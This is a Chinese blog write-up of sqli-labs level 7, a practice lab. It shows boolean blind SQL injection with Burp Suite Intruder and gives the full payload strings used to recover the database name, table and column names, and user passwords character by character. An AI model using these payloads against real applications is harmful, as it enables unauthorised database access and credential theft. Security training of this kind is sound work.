使用burpsuite进行布尔盲注(sqli-labs第7关)

目录

一.判断注入点

二.爆库名

三.爆表名

四.爆字段

五.爆数据


一.判断注入点

?id=1'报错 ?id=1"显示正常

判断出参数id是单引号字符串(单引号破坏了原有语法结构)

然后输入id=1'--+时报错,输入id=1')--+发现依然报错,再尝试双括号输入id=1'))--+,发现页面显示正常

成功判断注入点

二.爆库名

先爆出数据库的名长度:(这里用>当然也可以)

(length(str)函数:返回字符串 str的长度)

?id=1')) and length(database())=1--+

开启拦截,发送给intruder,在"1"这里添加§

设置payloads

 开始攻击

 一个一个点开看还是麻烦,发现居然可以直接搜?!

6666,直接得出库名长度为8

接下来就可以爆库名了

substr(string, start, length) 

第一个参数为要处理的字符串,start为开始位置,length为截取的长度。

?id=1')) and substr(database(),1,1)='a'--+

注意:攻击方式要选择集束炸弹(clusterbomb),并给"1"和"a"加上§

注意:攻击方式要选择集束炸弹(clusterbomb)

注意:攻击方式要选择集束炸弹(clusterbomb)

 有效负载集1的payloads选择0-9!!!!(根据前面已经知道了库名长度,可以把0和9删掉,不过不删也行)

有效负载集2的payloads选择a-z!!!!

 攻击之后还是直接搜,选择按payload1排序,直接出库名(security)

三.爆表名

先爆出表的数量(不是很多,没必要爆破)

?id=1')) and (select count(table_name)from information_schema.tables where table_schema=database())=4--+

?id=1')) and (select count(table_name)from information_schema.tables where table_schema=database())=4--+

爆表名(这个不爆破没办法做)

?id=1')) and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'--+

?id=1')) and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'--+

通过修改limit的参数很容易爆出4张表的名字:emails,referers,uagents,users

四.爆字段

先爆字段数:

?id=1')) and (select count(column_name) from information_schema.columns where table_name='users')=6--+

?id=1')) and (select count(column_name) from information_schema.columns where table_name='users')=6--+

再爆字段名(先爆出字段名的长度当然也可以)

?id=1')) and substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1)='i'--+

?id=1')) and substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1)='i'--+

依旧是通过调整limit的参数依次爆破,得出后三张表的名称为id,username,password

五.爆数据

?id=1')) and substr((select password from users limit 0,1),1,1)='d'--+

?id=1')) and substr((select password from users limit 0,1),1,1)='d'--+

 轻轻松松爆出数据

  • 3
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值